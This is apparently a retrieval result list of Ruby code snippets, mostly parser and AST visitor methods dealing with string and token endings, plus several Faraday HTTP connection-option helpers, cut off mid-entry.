[ { "docid": "d0ffae733cd6c326c5e53532a98a2398", "score": "0.73004854", "text": "def visit_tstring_end(node); end", "title": "" }, { "docid": "e4ef033576b05aa8ffef7b9e43ebd63e", "score": "0.65511084", "text": "def visit_tstring_end(node)\n node.copy\n end", "title": "" }, { "docid": "1653663f5d45534e1f762fc6a48c4e75", "score": "0.65395474", "text": "def end_pos\n @node.loc.expression.end_pos\n end", "title": "" }, { "docid": "1653663f5d45534e1f762fc6a48c4e75", "score": "0.65395474", "text": "def end_pos\n @node.loc.expression.end_pos\n end", "title": "" }, { "docid": "6d8c6201ce7578eb235871d47550af97", "score": "0.6526781", "text": "def whitespace_trailing(node); end", "title": "" }, { "docid": "d5cdd7e80752e2bd54c0a79a7eb5c95a", "score": "0.6524074", "text": "def find_end_line(node); end", "title": "" }, { "docid": "27505fae14f3b89b053192de5feddd00", "score": "0.64780575", "text": "def last_expression?(node); end", "title": "" }, { "docid": "3eeb2a84341de2d84712bf845c42e128", "score": "0.636624", "text": "def visit_regexp_end(node); end", "title": "" }, { "docid": "202b21223d7f06360269c3888f30e902", "score": "0.63189256", "text": "def whitespace_trailing(node)\n node.children[-1].source_range.end.join(node.loc.end.begin).source\n end", "title": "" }, { "docid": "658c9bbc6f9d365577722e8e6460611c", "score": "0.62709284", "text": "def on_tstring_end(value)\n node =\n TStringEnd.new(\n value: value,\n location:\n Location.token(\n line: lineno,\n char: char_pos,\n column: current_column,\n size: value.size\n )\n )\n\n tokens << node\n node\n end", "title": "" }, { "docid": "505f843544898e1aece07e8705ae986e", "score": "0.62200344", "text": "def end_of_word\n @end_of_word ||= begin\n match = source.code[offset..-1].to_s.match(end_word_pattern)\n match ? match[0] : ''\n end\n end", "title": "" }, { "docid": "505f843544898e1aece07e8705ae986e", "score": "0.62200344", "text": "def end_of_word\n @end_of_word ||= begin\n match = source.code[offset..-1].to_s.match(end_word_pattern)\n match ? match[0] : ''\n end\n end", "title": "" }, { "docid": "46821fa7e24d3d691f1013ed0b0b5e3e", "score": "0.6190083", "text": "def visit_heredoc_end(node); end", "title": "" }, { "docid": "daf38d7f3f270506a564c1e56c4d2776", "score": "0.6169844", "text": "def visit_backtick(node); end", "title": "" }, { "docid": "958231edb22b4118cebfbc6186678139", "score": "0.61483693", "text": "def visit___end__(node); end", "title": "" }, { "docid": "e892a851558e2bf661e297d2c5d6c0ea", "score": "0.6146779", "text": "def TStringEnd(value); end", "title": "" }, { "docid": "9ca452947bcc4b926eb4d3d49d739652", "score": "0.6056244", "text": "def end_node\n _end_node.wrapper\n end", "title": "" }, { "docid": "0192647735c38fc931bc33941d5dd78f", "score": "0.6051311", "text": "def RegexpEnd(value); end", "title": "" }, { "docid": "f7593a63334f1b5cc452a90afd95ef17", "score": "0.6051086", "text": "def visit_embexpr_end(node); end", "title": "" }, { "docid": "ba1cca170c7c94aea13aa7e64d69ab33", "score": "0.6036366", "text": "def visit_string_embexpr(node); end", "title": "" }, { "docid": "efc77566c8f6525dd8d2e6cc139c3aa2", "score": "0.60335106", "text": "def visit_tstring_beg(node); end", "title": "" }, { "docid": "32fc7d143db7b6ccbddc0b401be9533d", "score": "0.60326", "text": "def ast_node_id; end", "title": "" }, { "docid": "20302a78ea96ff8066415ed15ec3cff8", "score": "0.6025537", "text": "def _end_node\n fail 'not implemented'\n end", "title": "" }, { "docid": "28176a8f2efc088ab7535ae212f96b69", "score": "0.6017775", "text": "def end_node\n @_end_node ||= _java_rel && _java_rel.end_node.wrapper\n end", "title": "" }, { "docid": "3d78e5da509bf9c1c57cbe7411af738a", "score": "0.601669", "text": "def visit_END(node); end", "title": "" }, { "docid": "d063a8574a62b1407915b79206e5ef01", "score": "0.60080194", "text": "def parse_terminator\n nil\n end", "title": "" }, { "docid": "d08e0ffdb020637536dd8d72c305b21c", "score": "0.5952107", "text": "def delimited_string_literal?(node); end", "title": "" }, { "docid": "11616547defb19cab75d19b2d7302dce", "score": "0.59298444", "text": "def end_of_statement?(last_token, last_kind); end", "title": "" }, { "docid": "11616547defb19cab75d19b2d7302dce", "score": "0.59298444", "text": "def end_of_statement?(last_token, last_kind); end", "title": "" }, { "docid": "af88ed8d8ee5db747262917b224b71ed", "score": "0.59149414", "text": "def end_of_statement?(last_token, last_kind)\n (last_token =~ %r{^[)\\]\\}/]$} || STATEMENT_END_TOKENS.include?(last_kind))\n end", "title": "" }, { "docid": "2b93e26433ac46951916a1c86eb55eaa", "score": "0.591296", "text": "def end_char; end", "title": "" }, { "docid": "50dbb8cc42a96627d53bb0876074a99b", "score": "0.58981824", "text": "def tail_node; end", "title": "" }, { "docid": "fa0b351ef924666870059c8d0ec34027", "score": "0.589682", "text": "def last_position(node); end", "title": "" }, { "docid": "d3677836b2375e7364675950a43dfd4f", "score": "0.588927", "text": "def end_node\n # Just for documentation purpose, it is aliased from end_node_wrapper\n end", "title": "" }, { "docid": "261c750d1bc74dd120b1013851c6024e", "score": "0.58800185", "text": "def visit_label_end(node); end", "title": "" }, { "docid": "ea6b48f832f41f5c6874988ce203e57f", "score": "0.5878091", "text": "def extract_string(node); end", "title": "" }, { "docid": "b321acd1752bd63a014a79e9d10ea815", "score": "0.58772606", "text": "def endOfJump(locationEnd)\n str = \"//end of jump\"+\"\\n\"+\n \"(\" + locationEnd + \")\" + \"\\n\"\n return str+\"\\n\"\nend", "title": "" }, { "docid": "5a565ec39620d03bb76318e33dfc51ad", "score": "0.58642507", "text": "def EmbExprEnd(value); end", "title": "" }, { "docid": "d91034e42a3f04833fd6211284301d3d", "score": "0.5840049", "text": "def node_class\n NewLineNode\n end", "title": "" }, { "docid": "e2d4094886ec0188c0628937cd9f189b", "score": "0.58267087", "text": "def end_character; end", "title": "" }, { "docid": "757d00fcbe48fbd69ee3d0c7182247fa", "score": "0.58095825", "text": "def dot_is_end?\n @rule.right_tokens.count == @pos_index\n end", "title": "" }, { "docid": "99c867187d8b8daacbfbfc26352de17d", "score": "0.57999897", "text": "def visit_string_literal(node); end", "title": "" }, { "docid": "2097177763e278fa004afea11b1fc69f", "score": "0.5797204", "text": "def get_tag_end_offset\n depth = 1\n cursor = @cursor\n while depth != 0 && cursor < @token_list.size\n if at(cursor) == :lbracket && at(cursor+1) != :slash\n depth = depth + 1\n elsif at(cursor) == :lbracket && at(cursor+1) == :slash\n depth = depth - 1\n end\n cursor = cursor + 1\n end\n\n cursor-1\n end", "title": "" }, { "docid": "3b35843b5c77a5c8a7529694e698a9f6", "score": "0.57946855", "text": "def on_tstring_end(value); end", "title": "" }, { "docid": "4242f529225e1ff112cf54ca51557688", "score": "0.5790963", "text": "def printEndstr\n printGds2Record(type: 'ENDSTR')\n end", "title": "" }, { "docid": "ad425ccb59a43e962d8f3a680e83c8a9", "score": "0.57890236", "text": "def delimited_string_literal?(node)\n loc = node.location\n\n loc.respond_to?(:begin) && loc.begin &&\n loc.respond_to?(:end) && loc.end\n end", "title": "" }, { "docid": "f91422579d99f631ef59506fc3ba2e78", "score": "0.57853967", "text": "def read_triple_ending\n symbol = match(RE_TRIPLE_END)\n symbol.nil? ? '.' : (symbol.empty? ? '.' : symbol)\n end", "title": "" }, { "docid": "fbc9a53faf6e0735e10fa1451444f9c8", "score": "0.57755893", "text": "def very_end\n Rexp.new(parenthesized_encoding(CONCAT) + \"\\\\z\", CONCAT, capture_keys)\n end", "title": "" }, { "docid": "cc1b63168c702f78b78572d1a0b042f8", "score": "0.5766094", "text": "def end_token?(token)\n return token == END_OF_INPUT_STRING\n end", "title": "" }, { "docid": "142549a1f6841c370f8037831ff93642", "score": "0.5749151", "text": "def simple_string(node)\n inner = node[1][1..-1]\n return if inner.length > 1\n inner = inner[0]\n return \"\" if !inner\n return if inner[0] != :@tstring_content\n string = inner[1]\n string\n end", "title": "" }, { "docid": "33354ea412d41f6a3f29990f4304a096", "score": "0.57339567", "text": "def last_magic_comment(source); end", "title": "" }, { "docid": "80e0525c8b03a5bc725362995d23df36", "score": "0.57268167", "text": "def HeredocEnd(value); end", "title": "" }, { "docid": "6be91a119bcace9759ce87c5138be900", "score": "0.57200664", "text": "def r_end!\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 6 )\n\n\n\n type = R_END\n channel = ANTLR3::DEFAULT_CHANNEL\n # - - - - label initialization - - - -\n\n\n # - - - - main rule block - - - -\n # at line 36:8: 'end'\n match( \"end\" )\n\n\n\n @state.type = type\n @state.channel = channel\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 6 )\n\n\n end", "title": "" }, { "docid": "b20a10fa1e2f7835f79fe40f767ea69f", "score": "0.5708342", "text": "def eol\n @text.length-1\n end", "title": "" }, { "docid": "9de156eb70b7c164fede9dbedf95ce75", "score": "0.57069767", "text": "def end_escaped\n return @end_escaped\n end", "title": "" }, { "docid": "9de156eb70b7c164fede9dbedf95ce75", "score": "0.57069767", "text": "def end_escaped\n return @end_escaped\n end", "title": "" }, { "docid": "b75e65697f5a489f4564f0d425bbed31", "score": "0.57066923", "text": "def r_end!\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 21 )\n\n\n\n type = R_END\n channel = ANTLR3::DEFAULT_CHANNEL\n # - - - - label initialization - - - -\n\n\n # - - - - main rule block - - - -\n # at line 68:8: 'end'\n match( \"end\" )\n\n\n\n @state.type = type\n @state.channel = channel\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 21 )\n\n\n end", "title": "" }, { "docid": "a6960725efed274cd9e888f404be15d7", "score": "0.5703769", "text": "def end_line; end", "title": "" }, { "docid": "a6960725efed274cd9e888f404be15d7", "score": "0.5703769", "text": "def end_line; end", "title": "" }, { "docid": "a6960725efed274cd9e888f404be15d7", "score": "0.5703769", "text": "def end_line; end", "title": "" }, { "docid": "c74bb34d8b75127c063a2252f213c432", "score": "0.5702833", "text": "def compile_string_literal(node); end", "title": "" }, { "docid": "4bb20e4286d6fadd45b849e11f62d62c", "score": "0.5698396", "text": "def last_line\n @expression.last_line\n end", "title": "" }, { "docid": "0664a3df7bd9399f16e060bf2fd77d38", "score": "0.5696154", "text": "def visit_rparen(node); end", "title": "" }, { "docid": "4cc04965f25d61c5444f357cfaf7774a", "score": "0.56769603", "text": "def string_content(node)\n case node.type\n when :str\n node.str_content\n when :dstr\n content = \"\"\n node.each_child_node(:str, :begin) do |child|\n content += if child.begin_type?\n child.source\n else\n child.str_content\n end\n end\n content\n when :const\n node.const_name\n when :sym\n node.children.first.to_s\n else\n \"\"\n end\n end", "title": "" }, { "docid": "4cc04965f25d61c5444f357cfaf7774a", "score": "0.56769603", "text": "def string_content(node)\n case node.type\n when :str\n node.str_content\n when :dstr\n content = \"\"\n node.each_child_node(:str, :begin) do |child|\n content += if child.begin_type?\n child.source\n else\n child.str_content\n end\n end\n content\n when :const\n node.const_name\n when :sym\n node.children.first.to_s\n else\n \"\"\n end\n end", "title": "" }, { "docid": "ba98e3b7add2573c49a7908ad555884b", "score": "0.5672901", "text": "def p_eos\n @p.consume(/^$/, :eos, 'end of string')\n end", "title": "" }, { "docid": "6e243e4b3c00b4a7d37b5e9cd8703dde", "score": "0.5669133", "text": "def visit_END(node)\n s(\n :postexe,\n [visit(node.statements)],\n smap_keyword(\n srange_length(node.start_char, 3),\n srange_find(node.start_char + 3, node.statements.start_char, \"{\"),\n srange_length(node.end_char, -1),\n srange_node(node)\n )\n )\n end", "title": "" }, { "docid": "d4718dcfee3b282d9a58691ebd18ea62", "score": "0.5667803", "text": "def string\n while(peek != '\"' && !at_end?)\n @line += 1 if new_line?\n next_character\n end\n\n if at_end?\n Ringo.error(Ringo::Token.new(:quote, '\"', nil, @line), 'Unterminated string found.')\n return\n end\n\n # Move past the final double quote character.\n next_character\n\n # Get the string literal without the surrounding quotes.\n value = source[@start + 1, (@current - @start - 2)]\n add_token(:string, value)\n end", "title": "" }, { "docid": "b3f0f4772fbd8282a942ac0c89a636a3", "score": "0.5650842", "text": "def visit_heredoc_end(node)\n node.copy\n end", "title": "" }, { "docid": "7ee1cbed8b78995276759f6bd1a9bb2b", "score": "0.56353146", "text": "def RParen(value); end", "title": "" }, { "docid": "d7935de945966975beef7e0524cb2c39", "score": "0.56193864", "text": "def visit_lparen(node); end", "title": "" }, { "docid": "6154ae1798528847fdadf7f457e0b253", "score": "0.5599949", "text": "def token!\n # at line 1:39: ( QUOTED_STRING | SL_COMMENT | ML_COMMENT | SQL_SEPARATOR )\n alt_14 = 4\n case look_14 = @input.peek( 1 )\n when 0x27, 0x6e then alt_14 = 1\n when 0x2d then alt_14 = 2\n when 0x2f then alt_14 = 3\n when 0xa, 0x3b then alt_14 = 4\n else\n @state.backtracking > 0 and raise( ANTLR3::Error::BacktrackingFailed )\n\n raise NoViableAlternative( \"\", 14, 0 )\n end\n case alt_14\n when 1\n # at line 1:41: QUOTED_STRING\n quoted_string!\n\n when 2\n # at line 1:55: SL_COMMENT\n sl_comment!\n\n when 3\n # at line 1:66: ML_COMMENT\n ml_comment!\n\n when 4\n # at line 1:77: SQL_SEPARATOR\n sql_separator!\n\n end\n end", "title": "" }, { "docid": "9abed6659db2a2ab32712add00ceb4a7", "score": "0.55858356", "text": "def happy_node\n Parser::AST::Node.new(\n :str,\n [\"not throwing!\"]\n )\nend", "title": "" }, { "docid": "e65d90a358b84805e91a79a1a6d43f59", "score": "0.5585316", "text": "def visit_string_content(node); end", "title": "" }, { "docid": "1444fa3d61535a7a9d94e4c3efe4726b", "score": "0.5584876", "text": "def ebnf_suffix\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 32 )\n return_value = EbnfSuffixReturnValue.new\n\n # $rule.start = the first token seen before matching\n return_value.start = @input.look\n\n root_0 = nil\n char_literal148 = nil\n char_literal149 = nil\n char_literal150 = nil\n\n tree_for_char_literal148 = nil\n tree_for_char_literal149 = nil\n tree_for_char_literal150 = nil\n stream_T__91 = ANTLR3::AST::RewriteRuleTokenStream.new( @adaptor, \"token T__91\" )\n stream_T__92 = ANTLR3::AST::RewriteRuleTokenStream.new( @adaptor, \"token T__92\" )\n stream_T__74 = ANTLR3::AST::RewriteRuleTokenStream.new( @adaptor, \"token T__74\" )\n # - - - - @init action - - - -\n\n \top = @input.look(1)\n\n\n begin\n # at line 342:2: ( '?' -> OPTIONAL[op] | '*' -> CLOSURE[op] | '+' -> POSITIVE_CLOSURE[op] )\n alt_72 = 3\n case look_72 = @input.peek( 1 )\n when T__91 then alt_72 = 1\n when T__74 then alt_72 = 2\n when T__92 then alt_72 = 3\n else\n @state.backtracking > 0 and raise( ANTLR3::Error::BacktrackingFailed )\n\n raise NoViableAlternative( \"\", 72, 0 )\n end\n case alt_72\n when 1\n # at line 342:4: '?'\n char_literal148 = match( T__91, TOKENS_FOLLOWING_T__91_IN_ebnf_suffix_2475 )\n if @state.backtracking == 0\n stream_T__91.add( char_literal148 )\n end\n # AST Rewrite\n # elements: \n # token labels: \n # rule labels: return_value\n # token list labels: \n # rule list labels: \n # wildcard labels: \n if @state.backtracking == 0\n\n return_value.tree = root_0\n stream_return_value = return_value ? subtree_stream( \"rule return_value\", return_value.tree ) : subtree_stream( \"token return_value\" )\n\n root_0 = @adaptor.create_flat_list\n # 342:8: -> OPTIONAL[op]\n @adaptor.add_child( root_0, @adaptor.create( OPTIONAL, op ) )\n\n\n\n return_value.tree = root_0\n\n end\n when 2\n # at line 343:6: '*'\n char_literal149 = match( T__74, TOKENS_FOLLOWING_T__74_IN_ebnf_suffix_2487 )\n if @state.backtracking == 0\n stream_T__74.add( char_literal149 )\n end\n # AST Rewrite\n # elements: \n # token labels: \n # rule labels: return_value\n # token list labels: \n # rule list labels: \n # wildcard labels: \n if @state.backtracking == 0\n\n return_value.tree = root_0\n stream_return_value = return_value ? subtree_stream( \"rule return_value\", return_value.tree ) : subtree_stream( \"token return_value\" )\n\n root_0 = @adaptor.create_flat_list\n # 343:10: -> CLOSURE[op]\n @adaptor.add_child( root_0, @adaptor.create( CLOSURE, op ) )\n\n\n\n return_value.tree = root_0\n\n end\n when 3\n # at line 344:7: '+'\n char_literal150 = match( T__92, TOKENS_FOLLOWING_T__92_IN_ebnf_suffix_2500 )\n if @state.backtracking == 0\n stream_T__92.add( char_literal150 )\n end\n # AST Rewrite\n # elements: \n # token labels: \n # rule labels: return_value\n # token list labels: \n # rule list labels: \n # wildcard labels: \n if @state.backtracking == 0\n\n return_value.tree = root_0\n stream_return_value = return_value ? subtree_stream( \"rule return_value\", return_value.tree ) : subtree_stream( \"token return_value\" )\n\n root_0 = @adaptor.create_flat_list\n # 344:11: -> POSITIVE_CLOSURE[op]\n @adaptor.add_child( root_0, @adaptor.create( POSITIVE_CLOSURE, op ) )\n\n\n\n return_value.tree = root_0\n\n end\n end# - - - - - - - rule clean up - - - - - - - -\n return_value.stop = @input.look( -1 )\n\n if @state.backtracking == 0\n\n return_value.tree = @adaptor.rule_post_processing( root_0 )\n @adaptor.set_token_boundaries( return_value.tree, return_value.start, return_value.stop )\n\n end\n rescue ANTLR3::Error::RecognitionError => re\n report_error(re)\n recover(re)\n return_value.tree = @adaptor.create_error_node( @input, return_value.start, @input.look(-1), re )\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 32 )\n\n end\n \n return return_value\n end", "title": "" }, { "docid": "8f6ed8710ae38e819407028cf69803ca", "score": "0.55772233", "text": "def line_end\n return ff(/$/)\n end", "title": "" }, { "docid": "34d5ebbb608bef9e7eeed63cb9731bae", "score": "0.55706215", "text": "def end_line(kind); end", "title": "" }, { "docid": "838cf6cee66f375c46844d18a49177bd", "score": "0.557044", "text": "def external_trailing_comma_offset_from_loc_end(node); end", "title": "" }, { "docid": "384da154cad879430d4df2b003fc6ed6", "score": "0.5568934", "text": "def token\n rslt = super\n rslt.to_s == '' ? nil : rslt\n end", "title": "" }, { "docid": "384da154cad879430d4df2b003fc6ed6", "score": "0.5568934", "text": "def token\n rslt = super\n rslt.to_s == '' ? nil : rslt\n end", "title": "" }, { "docid": "4650a9427eb4b07e244910a9f3a762d9", "score": "0.55636156", "text": "def isEndstr\n @RecordType == ENDSTR\n end", "title": "" }, { "docid": "926a580ead49e6240614dbeb9f1824a4", "score": "0.5545085", "text": "def cram line\n unless @nodename\n @nodename = line[3..-1].strip\n raise \"hell\" unless line[0..2] == ':: '\n return\n end\n @my_text << line.strip!\n @my_text << \"\\n\" unless line == ''\n end", "title": "" }, { "docid": "d12023287911852e9c84ce4a1483d1ab", "score": "0.5537635", "text": "def token_literal\n if @statements.empty?\n \"\"\n else\n @statements[0].token_literal\n end\n end", "title": "" }, { "docid": "b4b92f28988f69d7c3659b73227e3e8f", "score": "0.55333567", "text": "def text\n @expression[0, @expression.index('/')]\n end", "title": "" }, { "docid": "5f36c0b6d6c94c8cc15c2856f220ed24", "score": "0.55240005", "text": "def next_symbol()\n return dotted_rule.next_symbol\n end", "title": "" }, { "docid": "63ec7841c423cb092668e6b27cc381d1", "score": "0.5508714", "text": "def end_pos; end", "title": "" }, { "docid": "63ec7841c423cb092668e6b27cc381d1", "score": "0.5508714", "text": "def end_pos; end", "title": "" }, { "docid": "63ec7841c423cb092668e6b27cc381d1", "score": "0.5508714", "text": "def end_pos; end", "title": "" }, { "docid": "782dcf424bf44320ccb34a3c0d80cc12", "score": "0.5508595", "text": "def getNextToken; end", "title": "" }, { "docid": "38efc09fae9c70b39451201bfed60ebf", "score": "0.55062526", "text": "def visit_regexp_end(node)\n node.copy\n end", "title": "" }, { "docid": "5ed280cbe9878a7ddf35b928c5d436f9", "score": "0.55005884", "text": "def find_end\n find_char(\"E\")\n end", "title": "" }, { "docid": "3327146456dd91593aca80fca13e90fc", "score": "0.54994273", "text": "def at_end?\n @n.is_a? NilClass # We use this because Node overrides ==, and things get screwed up.\n end", "title": "" }, { "docid": "c1b935889dce759ae4da4210113a4700", "score": "0.54971176", "text": "def string_value(token); end", "title": "" }, { "docid": "c1b935889dce759ae4da4210113a4700", "score": "0.54971176", "text": "def string_value(token); end", "title": "" }, { "docid": "fbac22fac445d824525f068f117924f7", "score": "0.5496733", "text": "def internal_trailing_comma_offset_from_last_arg(node); end", "title": "" }, { "docid": "30f75330191f0173e65059980035caaa", "score": "0.54945475", "text": "def TStringEnd(value)\n TStringEnd.new(value: value, location: Location.default)\n end", "title": "" }, { "docid": "328e170059b2a7e8d65bfbbd4364fcb3", "score": "0.5492159", "text": "def uml_end?\n /^@enduml$/ =~ @line.strip\n end", "title": "" }, { "docid": "fe9e09e461b396142c226250d1a7e397", "score": "0.5484026", "text": "def next_token; end", "title": "" }, { "docid": "fe9e09e461b396142c226250d1a7e397", "score": "0.5484026", "text": "def next_token; end", "title": "" }, { "docid": "f18eca9939431302134e3380b6388422", "score": "0.54773015", "text": "def end_node\n id = getEndNode.getId\n Neo4j.load_node(id)\n end", "title": "" }, { "docid": "c4ecc89d8bab132d11931975c5b49e30", "score": "0.5473383", "text": "def token_last_8\n my_token[-8..-1]\n end", "title": "" } ]
b483c67771b4de80cee3bbbee461a12d
Returns the Faraday connection options hash for this resource.
[ { "docid": "aeb5878beda3cf1a46b47a120832c070", "score": "0.76555914", "text": "def faraday_options\n cfg_get(:faraday_options)\n end", "title": "" } ]
[ { "docid": "3b5cf3eca0393dc8cbb6a453da6e3a65", "score": "0.7473365", "text": "def faraday_options\n cfg_get(:faraday_options)\n end", "title": "" }, { "docid": "58d99172f47beda6f9cdc8194c027a94", "score": "0.7084844", "text": "def faraday_options(options)\n {\n url: options[:url] + options[:path],\n proxy: faraday_proxy(options),\n ssl: faraday_ssl(options),\n headers: faraday_headers(options),\n request: faraday_request(options),\n }\n end", "title": "" }, { "docid": "2be0e99652de0b27b14d4105ad732397", "score": "0.7046045", "text": "def faraday_options(options)\n {\n url: options[:url] + options[:path],\n proxy: faraday_proxy(options),\n ssl: faraday_ssl(options),\n headers: faraday_headers(options),\n request: faraday_request(options),\n }\n end", "title": "" }, { "docid": "0d0181db399117151b0f7d4cf2fb5dec", "score": "0.66783386", "text": "def connection_options\n CONNECTION_OPTIONS\n end", "title": "" }, { "docid": "4093b0f48a5fcb115f530da25e56354b", "score": "0.6634876", "text": "def faraday_configuration\n @faraday_configuration ||= Faraday.new(:url => @management_console_endpoint) do |http|\n http.headers[:user_agent] = user_agent\n http.request :multipart\n http.request :url_encoded\n\n # Disabling SSL is essential for certain self-hosted Enterprise instances\n if self.connection_options[:ssl] && !self.connection_options[:ssl][:verify]\n http.ssl[:verify] = false\n end\n\n http.use Octokit::Response::RaiseError\n http.adapter Faraday.default_adapter\n end\n end", "title": "" }, { "docid": "01e4c6146de9bb4ae6144b77fca44684", "score": "0.6581025", "text": "def faraday_options_for_url(url)\n self.hr_config.get_for_url(url, :faraday_options)\n end", "title": "" }, { "docid": "4d1a44a34fb0c423bdad1d78d6b9bddb", "score": "0.6422999", "text": "def faraday_options_for_url(url)\n self.hr_config.get_for_url(url, :faraday_options)\n end", "title": "" }, { "docid": "046d931b4ebb734fc3ccddb9a7f3200b", "score": "0.62139124", "text": "def connection(options = {})\n conn_options = default_options(options).keep_if { |k, _| ALLOWED_OPTIONS.include?(k) }\n clear_cache unless options.empty?\n puts \"OPTIONS:#{conn_options.inspect}\" if ENV[\"DEBUG\"]\n\n Faraday.new(conn_options.merge(builder: stack(options)))\n end", "title": "" }, { "docid": "4db257079f29a97c4de72084fe6340c2", "score": "0.6175007", "text": "def faraday_request(options)\n return options[:request] if options[:request]\n\n request = options[:options]\n return unless request[:open_timeout] || request[:timeout]\n\n {\n open_timeout: request[:open_timeout],\n timeout: request[:timeout],\n }\n end", "title": "" }, { "docid": "bc678ac054bdbaced2fbe2af8af6ddc4", "score": "0.61510605", "text": "def connection\n self.faraday_connection ||= Faraday.new(configuration.faraday_options) do |f|\n if configuration.authenticated?\n f.request :authorization, :basic, configuration.username, configuration.password\n end\n f.request :multipart\n f.request :url_encoded\n unless options[:raw]\n f.response :mashify\n f.response :json\n end\n\n f.response :raise_error\n f.adapter configuration.adapter\n end\n end", "title": "" }, { "docid": "a1468a84c7a9e2709322c2c26f1f2df9", "score": "0.6136974", "text": "def faraday_request(options)\n return options[:request] if options[:request]\n\n request = options[:options]\n return unless request[:open_timeout] || request[:timeout]\n\n {\n open_timeout: request[:open_timeout],\n timeout: request[:timeout],\n }\n end", "title": "" }, { "docid": "eb33493293fad9ee63af9fe9339f86aa", "score": "0.60860354", "text": "def opts\n adapter_connection.opts\n end", "title": "" }, { "docid": "21981ff5666953a49b02e962bdff1d8e", "score": "0.60816514", "text": "def options\n # figure out our options for this request\n add_ssl_options(\n # for GETs, we pass the params to Faraday to encode\n {params: get_args}.merge(HTTPService.http_options).merge(raw_options)\n )\n end", "title": "" }, { "docid": "868b873789c8fac5a404f9af30d378d9", "score": "0.6042029", "text": "def connection_options\n ssl_options\n end", "title": "" }, { "docid": "2c585ad0fce16d33c455f9806a28e9e4", "score": "0.60127103", "text": "def connection\n @connection ||= Faraday.new(url: base_url, headers: default_headers, ssl: {verify: false}) do |builder|\n builder.use Faraday::Request::UrlEncoded\n builder.use Faraday::Response::Mashify\n builder.use Faraday::Response::ParseJson\n builder.adapter Faraday.default_adapter\n end\n end", "title": "" }, { "docid": "55ba5e0ffed3eaa256e8bbe3d3f0088c", "score": "0.6011844", "text": "def connection\n @connection ||= begin\n conn = Faraday.new(site, options[:connection_opts])\n conn.build do |b|\n options[:connection_build].call(b)\n end if options[:connection_build]\n conn\n end\n end", "title": "" }, { "docid": "9029bd072b7b4c3ab6e02d3082dcf763", "score": "0.5992805", "text": "def connection\n @connection ||= Faraday.new(faraday_options) do |builder|\n builder.use Faraday::Request::UrlEncoded\n # builder.use QuickbooksOnlineRuby::Middleware::Mashify, nil, @options\n builder.response :json\n\n if QuickbooksOnlineRuby.log?\n builder.use QuickbooksOnlineRuby::Middleware::Logger,\n QuickbooksOnlineRuby.configuration.logger,\n @options\n end\n\n builder.adapter @options[:adapter]\n end\n end", "title": "" }, { "docid": "bb90a182dc22ae24b034c245d6abf0f6", "score": "0.59180266", "text": "def options\n\t\treturn {\n\t\t\tdomain: self.domain,\n\t\t\tpath: self.path,\n\t\t\tsecure: self.secure?,\n\t\t\thttponly: self.httponly?,\n\t\t\texpires: self.expires,\n\t\t\tmax_age: self.max_age,\n\t\t\tversion: self.version,\n\t\t}\n\tend", "title": "" }, { "docid": "3828e1c1d7fa3174a31d56e01bab78eb", "score": "0.59166074", "text": "def options\n Hash[\n DeskApi::Configuration.keys.map do |key|\n [key, instance_variable_get(:\"@#{key}\")]\n end\n ]\n end", "title": "" }, { "docid": "98ed44da5fa6bf8aa43ca5947970781c", "score": "0.5910202", "text": "def connection\n @connection ||= faraday(config, logger)\n end", "title": "" }, { "docid": "0cd964f8dbb0745c3a2f92f672ab2cfe", "score": "0.5864735", "text": "def faraday\n @faraday ||= Faraday.new ssl: { verify: ssl_verify } do |faraday|\n authenticate!(faraday)\n\n faraday.request(:retry, max: retries) if retries\n faraday.options.timeout = read_timeout if read_timeout\n faraday.options.open_timeout = open_timeout if open_timeout\n\n faraday.request :url_encoded # Form-encode POST params\n faraday.response :raise_error\n faraday.use :http_cache, store: http_cache, serializer: Marshal\n faraday.use Faraday::CacheHeaders\n faraday.response :json, content_type: /\\bjson$/\n faraday.adapter :excon\n end\n end", "title": "" }, { "docid": "88386d16e1e400c70f41eaff6d579b01", "score": "0.58484226", "text": "def connection\n # @connection ||= Faraday.new connection_options do |conn|\n @faraday_connection ||= Faraday.new(:url => @url) do |conn|\n # Follow redirects\n # conn.use FaradayMiddleware::FollowRedirects, limit: 5\n conn.response :logger # log requests to STDOUT\n # Convert request params to \"www-form-encoded\"\n conn.request :url_encoded\n # Parse responses as JSON\n # conn.use FaradayMiddleware::ParseJson, content_type: 'application/json'\n # Use Faraday's default HTTP adapter\n conn.adapter Faraday.default_adapter\n #pass api_key and api_username on every request\n # conn.params['api_key'] = api_key\n # conn.params['api_username'] = api_username\n end\n return @faraday_connection\n end", "title": "" }, { "docid": "5cbed1de0e6b61ce949ec301a0e9ea61", "score": "0.58481616", "text": "def connection\n @connection ||= Faraday.new(endpoint, connection_options)\n end", "title": "" }, { "docid": "ae4cc23c26743db44cd5026afb15679f", "score": "0.5846972", "text": "def connection\n @connection ||= begin\n connection_options = { builder: @middleware }\n connection_options[:ssl] = { verify: true } if @endpoint[0..4] == 'https'\n Faraday.new(@endpoint, @connection_options.merge(connection_options))\n end\n end", "title": "" }, { "docid": "2aaf3c7aacd404346732b15597b7095b", "score": "0.5842294", "text": "def connection\n @connection ||= Faraday.new(@options[:instance_url]) do |builder|\n builder.use Restforce::Middleware::Mashify, self, @options\n builder.use Restforce::Middleware::Multipart\n builder.request :json\n builder.use authentication_middleware, self, @options if authentication_middleware\n builder.use Restforce::Middleware::Authorization, self, @options\n builder.use Restforce::Middleware::InstanceURL, self, @options\n builder.response :json\n builder.use Restforce::Middleware::Caching, cache, @options if cache\n builder.use FaradayMiddleware::FollowRedirects\n builder.use Restforce::Middleware::RaiseError\n builder.use Restforce::Middleware::Logger, Restforce.configuration.logger, @options if Restforce.log?\n builder.use Restforce::Middleware::Gzip, self, @options\n builder.adapter Faraday.default_adapter\n end\n end", "title": "" }, { "docid": "13ebc7537fa0d64f60429284dda6acb7", "score": "0.5841616", "text": "def connection\n @connection ||= begin\n connection_options = {:builder => @middleware}\n connection_options[:ssl] = {:verify => true} if @endpoint[0..4] == 'https'\n Faraday.new(@endpoint, @connection_options.merge(connection_options))\n end\n end", "title": "" }, { "docid": "a3dbd9a4aea92098cf59ff4218c7b63a", "score": "0.5832177", "text": "def connection\n @connection ||= Faraday.new do |conn|\n conn.use Signature::Authentication, endpoint.secret\n\n yield conn if block_given?\n\n unless conn.builder.handlers.any? { |h| 